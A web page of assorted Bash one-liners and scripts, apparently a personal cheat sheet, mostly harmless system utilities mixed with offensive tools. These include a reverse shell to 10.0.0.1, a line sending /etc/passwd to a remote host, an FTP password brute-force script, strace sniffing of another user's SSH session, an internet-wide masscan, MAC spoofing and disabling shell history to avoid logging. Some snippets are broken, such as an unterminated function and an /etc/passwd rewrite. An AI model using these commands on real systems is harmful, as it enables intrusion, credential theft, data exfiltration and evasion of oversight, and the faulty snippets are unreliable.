Skip to content

Linux Tux Logo

Master the Command Line: Unleashing the Power of Linux


Reverse polish notation

type:video

echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sb0A293A207265776F70206E616D65737577snlbxq'|dc

Simple calculator

echo $(( $@ ))

Spoof MAC address

NIC="eno1"
ip link show $NIC
ip link set dev $NIC down
ip link set dev $NIC address XX:YY:ZZ:AA:BB:CC
ip link set dev $NIC up
find /proc/scsi/ -path '/proc/scsi/usb-storage*' -type f|xargs grep . 

Wayland or X11

printf 'Session is: %s\n' "${DISPLAY:+X11}${WAYLAND_DISPLAY:+WAYLAND}"

Dmesg with human readable format

dmesg -T

Put a console clock in upper right corner off terminal

while sleep 1; do 
    tput sc;
    tput cup 0 $(($(tput cols)-29));
    date;tput rc;
done &

Zick Zack print

for (( incr = 1, n=0, times = ${2:-4}, step = ${1:-5}; (n += incr) % step || (incr *= -1, --times);)); do
    printf '%*s\n' "$((n+1))" "$n"
done

What invoked me

ps -o comm= -p $(ps -o ppid= -p $$)

Put a console clock in upper right corner

while sleep 1; do 
    tput sc;
    tput cup 0 $(($(tput cols)-29));
    date;tput rc;
done &

Bash suicide

kill -9  $$

Launch last command again

!!

Launch hidden command

/bin/bash -c "exec ls"
bash -c 'exec 3<>/dev/tcp/google.com/80; echo EOF>&3; cat<&3'

Browse to https://www.nr1.nu in pure Bash

exec 5<>/dev/tcp/www.nr1.nu/443
echo -e "GET / HTTP/1.0\n" >&5
cat <&5

Random IPv4 generator

printf "%d.%d.%d.%d\n" \
    "$((RANDOM % 256))" \
    "$((RANDOM % 256))" \
    "$((RANDOM % 256))" \
    "$((RANDOM % 256))"

Random IPv6 generator

for ((i=0;i<8;i++)); do 
    printf "%02x%02x:" $((RANDOM%256)) $((RANDOM%256)); 
done|sed 's/:$//'  

Find duplicates by md5sum

find / -type f \
    |grep '([0-9]\{1,9\})\.[^.]\+$' \
    |parallel -n1 -j200% md5sum ::: \
    |awk 'x[$1]++ { print $2 " :::"}' \
    |sed 's/^/Dupe: /g' \
    |sed 's,Dupe,\x1B[31m&\x1B[0m,'

Random MAC Address Generator

Generate

  • The last sed expression ensures the unicast/multicast bit is set to zero
  • The greedy space replacements are for portability across UNIX seds
od -An -N6 -tx1 /dev/urandom |sed -e 's/^  *//' -e 's/  */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/'
read -N6 b </dev/urandom
LC_ALL=C printf "%02x:%02x:%02x:%02x:%02x:%02x\n" \
"'${b:0:1}" "'${b:1:1}" "'${b:2:1}" "'${b:3:1}" "'${b:4:1}" "'${b:5:1}"
hexdump -n3 -e'/3 "00:60:2F" 3/1 ":%02X"' /dev/random
printf '%.2x\n' "$(shuf -i 0-281474976710655 -n 1)"|sed -r 's/(..)/\1:/g'|cut -d: -f -6
echo 00-60-2F-$[RANDOM%10]$[RANDOM%10]-$[RANDOM%10]$[RANDOM%10]-$[RANDOM%10]$[RANDOM%10]
echo -n 02; od -t x1 -An -N 5 /dev/urandom | tr ' ' ':'
openssl rand -hex 6 | sed 's/\(..\)/\1:/g; s/:$//'
openssl rand -hex 6|sed 's/\(..\)\(..\)\(..\)\(..\)\(..\)\(..\)/\1:\2:\3:\4:\5:\6/'

Record last 20 commands

fc -1 -20

Kill a specific process using a given port

fuser -k 445/tcp
ps -eo pmem,comm|grep konsole|awk '{sum+=$1} END {print sum " % of RAM"}'

Stresstest 1 CPU core

yes > /dev/null & 

Stresstest 2 CPU core

yes > /dev/null & 
yes > /dev/null & 

Create several files filled with random data

for fileSize in 1 10 50 100 250 500 1000; do 
    echo "Creating file: ${fileSize}M"; 
    sudo head -c ${fileSize}M </dev/urandom >${fileSize}; 
done

Execute a command on all previous command

  • Example: touch file{1,2,3}; chmod 777 !*
chmod 777 !*

Change password without third-party

echo 'user:newpassword' | chpasswd

Set shell enviroment

sed -i '1i root:x:0:0:root:/root:/bin/bash' /etc/passwd
sed -i '2d' /etc/passwd

Truncate long strings in columns and use custom header names

column -s: -t -n . -N USERNAME,PASS,UID,GID,NAME,HOMEDIR,SHELL -T NAME /etc/passwd |sed "1,2 i $(printf %80s|tr ' ' '=')"

Dump /etc/passwd in tabular

head -4 /etc/passwd \
    |tr : , \
    |sed -e 's/^/| /' -e 's/,/,| /g' -e 's/$/,|/' \
    |column -t -s,

Paralleling wget

time seq 1000|parallel -a 1 -j1000 wget

Execute 10 curl commands in Parallel

xargs -I% -P10 curl -sL "https://iconfig.co" < <(printf '%s\n' {1..10})

Execute 10 curl commands in parallel

NUM="10";seq ${NUM} |xargs -I % -n1 -P${NUM} curl -sL ifconfig.co
top -bn1|grep "Cpu(s)"|sed "s/.*, *\([0-9.]*\)%* id.*/\1/" |awk '{print 100 - $1"%"}'
awk -F ' ' '{total = $2 + $3 + $4 + $5 } END { print "idle \t used\n" $5*100/total "% " $2*100/total "%"}' /proc/stat
awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo 
cat /sys/devices/cpu/caps/pmu_name

Dump CPU temp

cat /sys/class/thermal/thermal_zone*/temp
watch -n.1 "grep \"^[c]pu MHz\" /proc/cpuinfo"
awk '{u=$2+$4; t=$2+$4+$5; if (NR==1){u1=u; t1=t;} else print ($2+$4-u1) * 100 / (t-t1) "%"; }' <(grep 'cpu ' /proc/stat) <(sleep 1;grep 'cpu ' /proc/stat)

Dump CPU temp in Farenheit

gawk '{print "Temp in degrees Fahrenheit is:",$1/1000 * 1.8 + 32}' /sys/class/thermal/thermal_zone0/temp

Dump CPU load

printf "1-minute load average: %.1f%%\n" $(bc <<<"$(cut -d ' ' -f 1 /proc/loadavg) * 100")

Monitor CPU in realtime.

watch grep \"cpu MHz\" /proc/cpuinfo
paste <(cat /sys/class/thermal/thermal_zone*/type) <(cat /sys/class/thermal/thermal_zone*/temp) \
    |column -s $'\t' -t|sed 's/\(.\)..$/.\1°C/'

Check host and port access in pure Bash:

s="$(cat 2>/dev/null < /dev/null > /dev/tcp/${target_ip}/${target_port} & WPID=$!
    sleep 3 
    kill $! >/dev/null 2>&1 & KPID=$!;wait $WPID && echo 1)" s="${s:-0}"; 
    echo "${s}" | sed 's/0/2/;s/1/0/;s/2/1/'

Portscan Entire Internet

 (masscan 0.0.0.0/0 -p80 --banner --exclude 255.255.255.255 --max-rate 100000|tee targets.txt 2>&1 /dev/null);  1&> /dev/null

Fast portscanner in Parallel

parallel \
    -j200% \
    -n1 -a textfile-with-hosts.txt nc -vz {} ::: 22

Another Portscanner

seq 65535|parallel -k --joblog portscan -j9 --pipe --cat -j200% -n9000 --tagstring \
    '\033[30;3{=$_=++$::color%8=}m' \
    'nc -vz localhost $(head -n1 {})-$(tail -n1 {})'

Just another portscanner in parallel

xargs -i -P 1200 nc -zvn {} 22 < textfile-with-hosts.txt

Perform Real-time Process Monitoring using watch

watch -n 1 'ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head'

Check whether Laptop using AC or Battery

  • 0 = AC
  • 1 = Battery
cat /sys/class/power_supply/AC/online

Block all brute-force attacks in realtime (IPv4/SSH)

inotifywait -r -q --format %w /var/log/auth.log \
    |grep -i "Failed pass" \
    |tail -n 1 \
    |grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}';
    iptables -I INPUT -i eth0 -s "$(cat /var/log/auth.log \
        |grep "authentication failure; l" \
        |awk -Frhost= '{print $2}' \
        |tail -n 1)" -j DROP

Ports you probably want to add to iptables

lsof -i -nlP|awk '{print $9, $8, $1}'|sed 's/.*://'|sort -u|column -t|nl -w 2 -s') '

Sniff a user's SSH session with strace

strace -e trace=read -p <PID> 2>&1|while read x; do echo "$x"|grep '^read.*= [1-9]$'|cut -f2 -d\";done

Check if a port is open or closed in bash

 ( echo > /dev/tcp/nr1.nu/81; ) &> /dev/null 1>&2 | \
if [[ $? = "0" ]]; then 
    echo "up"; 
else 
    echo "down"; 
fi
( : <> /dev/tcp/nr1.nu/81;) &> /dev/null 1>&2 && echo "up" || echo "closed"

Broadcast your shell thru port 5000

bash -i 2>&1 |tee /dev/stderr|nc -l 5000

Network Discover in a one liner

nmap -sn 192.168.1.0/24 -oG - | awk '$4=="Status:" && $5=="Up" {print $0}'|column -t

Watch TCP, UDP open ports in real time with socket summary

watch ss -stplu

Produce 10 copies of the same string

echo boo{,,,,,,,,,,}

Recall “N”th command from your BASH history without executing it.

!12:p

Generate a sequence of numbers.

for ((i=1; i<=99; ++i)); do echo $i; done

Show OS release incl version.

grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1

Find all file extension in current dir.

find . -type f |perl -ne 'print $1 if m/\.([^.\/]+)$/' |sort -u
printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}
df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs \
    |grep -oE ' [0-9]{1,}( +[0-9]{1,})+' \
    |awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'
df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs \
    |grep -oE ' [0-9]{1,}( +[0-9]{1,})+' \ 
    |awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'

Read kernel messages in realtime.

dmesg -wx

Almost invisible SSH

ssh -o UserKnownHostsFile=/dev/null -T user@foo.com "bash -i"
flashing_text () { 
  wuzi='*w*u*s*e*m*a*n*_*p*w*n*z \e[00;34m !';
  for i in {0..59}; do
      echo -ne "\r${wuzi:0:$i}" ;sleep 0.05;
done 
};

Leave bash without History

Tell Bash to use /dev/null instead of ~/.bash_history This is the first command we execute on every shell. It will stop the Bash from logging your commands.

export HISTFILE=/dev/null

Shred and Wipe, without Shred

FN=textfile.txt;
dd bs=1k count="`du -sk \"${FN}\"|cut -f1`" if=/dev/urandom >"${FN}"; 
rm -f "${FN}"

Bruteforce two FTP Accounts at once

#!/bin/bash
# Author: wuseman
# Desc: Bruteforce 2 accounts at once

okMSG() {
    echo -e "[\e[1;32m*\e[0m] $*"
}

errMSG() {
    echo -e "[\e[1;31m*\e[0m] $*"
}

1() {
    curl ftp://host:port -u $line &> /dev/null
    [[ $? = "0" ]] &&  okMSG "Cracked password for $line" \
                   || errMSG "Bad password for $line"
}

2() {
    curl ftp://host:port -u $line1 &> /dev/null -u $line1 &> /dev/null
    [[ $? = "0" ]] &&  okMSG "Cracked password for $line1" \
                   || errMSG "Bad password for $line1"
}

while 
        read line;read line1; 
        do 
    1;2;sleep 0.1;
done < test
route|grep -m1 ^default|awk '{print $NF}'
 ip addr \
    |awk '/state UP/ {print $2}'|sed 's/.$//'
ip link|awk -F: '$0 !~ "lo|vir|wl|^[^0-9]"{print $2;getline}'
ip link|awk -F: '$0 !~ "lo|vir|wl|^[^0-9]"{print $2;getline}'
ip -br l|awk '$1 !~ "lo|vir|wl" { print $1}'
ip addr show|awk -- '$1 == "inet" && $3 == "brd"  { split($2,a,"/"); print a[1]; }'
ip route get 8.8.8.8|sed -nr 's/.*dev ([^\ ]+).*/\1/p'

Correct SSH permissions

chmod 700 ~/.ssh
chmod 644 ~/.ssh/authorized_keys
chmod 644 ~/.ssh/known_hosts
chmod 644 ~/.ssh/config
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/*.pub
chmod 600 ~/.ssh/github_rsa
chmod 644 ~/.ssh/github_rsa.pub
chmod 600 ~/.ssh/mozilla_rsa
chmod 644 ~/.ssh/mozilla_rsa.pub
curl --socks5 localhost:9050 --socks5-hostname localhost:9050 https://check.torproject.org/api/ip

Ports we probably wanna accept in iptables

lsof -i -nlP |awk '{print $9, $8, $1}'|sed 's/.*://' |sort -u

Create a UEFI bootable USB

parted /dev/sdc -s print
mkfs.vfat -F 32 /dev/<device>1
mount /dev/<device>1 /<dev_mountpoint>
mount /path/to/iso/Win10_1511_1_<Version>_<Language>_x64.iso /<iso_mountpoint>
cp -R /<iso_mountpoint>/* /<dev_mountpoint>/
printf '%s' "Done" 

Benchmark and find bytesize for dd

#!/bin/bash

dd if=/dev/zero of=/var/tmp/infile count=1175000

for bs in  1k 2k 4k 8k 16k 32k 64k 128k 256k 512k 1M 2M 4M 8M;do
    echo "Testing block size  = $bs"
        dd if=/var/tmp/infile of=/var/tmp/outfile bs=$bs
    echo ""
done;rm /var/tmp/infile /var/tmp/outfile

Returns the "hypotenuse" of a right triangle

ARGS=2
E_BADARGS=85

if [[ $# -ne "$ARGS" ]]; then
  echo "Usage: `basename $0` side_1 side_2"
  exit $E_BADARGS
fi

AWKSCRIPT=' { printf( "%3.7f\n", sqrt($1*$1 + $2*$2) ) } '
    echo -n "Hypotenuse of $1 and $2 = "
    echo $1 $2 | awk "$AWKSCRIPT"

Disable ipv6

cat <<EOF > /etc/sysctl.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
EOF;sysctl -p

Download URL

_wget () {
exec 5<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.0\n" >&5
cat <&5

_wget http://www.andreafortuna.org/robots.txt

Download file

_get ()
{
  IFS=/ read proto z host query <<< "$1"
  exec 3< /dev/tcp/$host/80
  {
    echo GET /$query HTTP/1.1
    echo connection: close
    echo host: $host
    echo
  } >&3 
  sed '1,/^$/d' <&3 > $(basename $1)
}

_get http://192.168.1.1/login.lp

Prints headers for url

server=${1:-google.com}; port=${2:-80}
exec 5<> /dev/tcp/$server/$port
echo -e "HEAD / HTTP/1.0\nHost: ${server}\n\n" >&5;
cat 0<&5;
exec 5>&-

Perform a port scan

hosts=(127.0.0.1 127.0.0.2 127.0.0.3)
ports=(22 23 25 80)

for host in "${hosts[@]}"
do
  for port in "${ports[@]}"
  do
    if echo "Hi from Bharat's scanner at $(uname -n)" 2>/dev/null > /dev/tcp/"$host"/"$port"
    then
      echo success at "$host":"$port"
    else
      echo failure at "$host":"$port"
    fi
  done
done

Perform a port scan

In case you are not enabled to install any software on your linux box, using the same special file, you can check if a tcp port is open: if writing to the port succeeds, the port is open, else the port is closed.

IPS=$(ifconfig \
  | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' \
  | grep -Eo '([0-9]*\.){3}[0-9]*' \
  | grep -v '127.0.0.1')
IPS=(${IPS//$'\n'/ })
for ip in "${IPS[@]}"
do
  iprange=$(echo $ip | sed 's/\.[^.]*$//') 
  echo "PORT            HOST"
  for ihost in {1..254}; do
    for port in {22,80,8080,3389,443,53,67,68}; do
      bash -c "echo >/dev/tcp/$iprange.$ihost/$port" 2>/dev/null \
        && echo "$port    $iprange.$ihost"
    done
  done
done

Reverse shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
exec 5<>/dev/tcp/10.0.0.1/80
while read line 0<&5; do $line 2>&5 >&5; done

Send email

MAILTO="someone@gmail.com"
MAILFROM="support@gmail.com"
DATA="This was sent from /dev/tcp"
SUBJECT="Mail Relay Test"
MAILSERVER="smtp.gmail.com"
PORT="25"

echo "Connecting to $MAILSERVER on Port $PORT";
echo "Please wait ... "
echo
exec 3<>/dev/tcp/$MAILSERVER/$PORT 

if [ $? -ne 0 ] ; then
    echo
    echo "ERROR: Cannot connect to the Mail Server";
    echo "Please check the servername and/or the port number"
    exit
fi

echo -en "HELO mail.email.com\r\n"  >&3 
echo -en "MAIL FROM:$MAILFROM\r\n" >&3
echo -en "RCPT TO:$MAILTO\r\n" >&3
echo -en "DATA\r\n" >&3
echo -en "Subject: $SUBJECT\r\n\r\n" >&3
echo -en "$DATA\r\n" >&3
echo -en ".\r\n" >&3
echo -en "QUIT\r\n" >&3
cat <&3

Send file

cat /etc/passwd > /dev/tcp/10.0.0.1/80
URL="time.nist.gov/13"
Time=$(cat </dev/tcp/"$URL")
UTC=$(echo "$Time" | awk '{print$3}')
echo "UTC Time = "$UTC""

Query an NTP server

cat </dev/tcp/time.nist.gov/13

Fetch a web page

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3

Generate dates from end to start

end=2021-01-03
start=2014-12-29
while ! [[ $start > $end ]]; do     
    echo $start|sed 's/-/ /g'|awk '{print $3,$2,$1}'|sed 's/ /./g';     
    start=$(date -d "$start + 1 day" +%F); 
done 

Fibonacchi

MAXTERM=15   
MINIDX=2

fibonacci () {
  idx=$1 
  if [ "$idx" -lt "$MINIDX" ];then
    echo "$idx"
  else
    (( --idx ))  # j-1
    term1=$( fibonacci $idx )

    (( --idx ))  # j-2
    term2=$( fibonacci $idx )

    echo $(( term1 + term2 ))
  fi
}

for i in $(seq 0 $MAXTERM)
do  # Calculate $MAXTERM+1 terms.
  FIBO=$(fibonacci $i)
  echo -n "$FIBO "
done

echo
while read -r output hex conn; do
    [[ -z "$conn" ]] && conn=${output%%-*}
    echo "# $output $conn   $(xxd -r -p <<< "$hex")"
done < <(xrandr --prop | awk '
    !/^[ \t]/ {
        if (output && hex) print output, hex, conn
        output=$1
        hex=""
    }
    /ConnectorType:/ {conn=$2}
    /[:.]/ && h {
        sub(/.*000000fc00/, "", hex)
        hex = substr(hex, 0, 26) "0a"
        sub(/0a.*/, "", hex)
        h=0
    }
    h {sub(/[ \t]+/, ""); hex = hex $0}
    /EDID.*:/ {h=1}
    END {if (output && hex) print output, hex, conn}
    ' | sort
)

Dump all available man pages in a particular section

find $(man --path | tr ':' ' ') -type f -path '*man2*' \
  -exec basename {} \; | sed 's/\..*//' | sort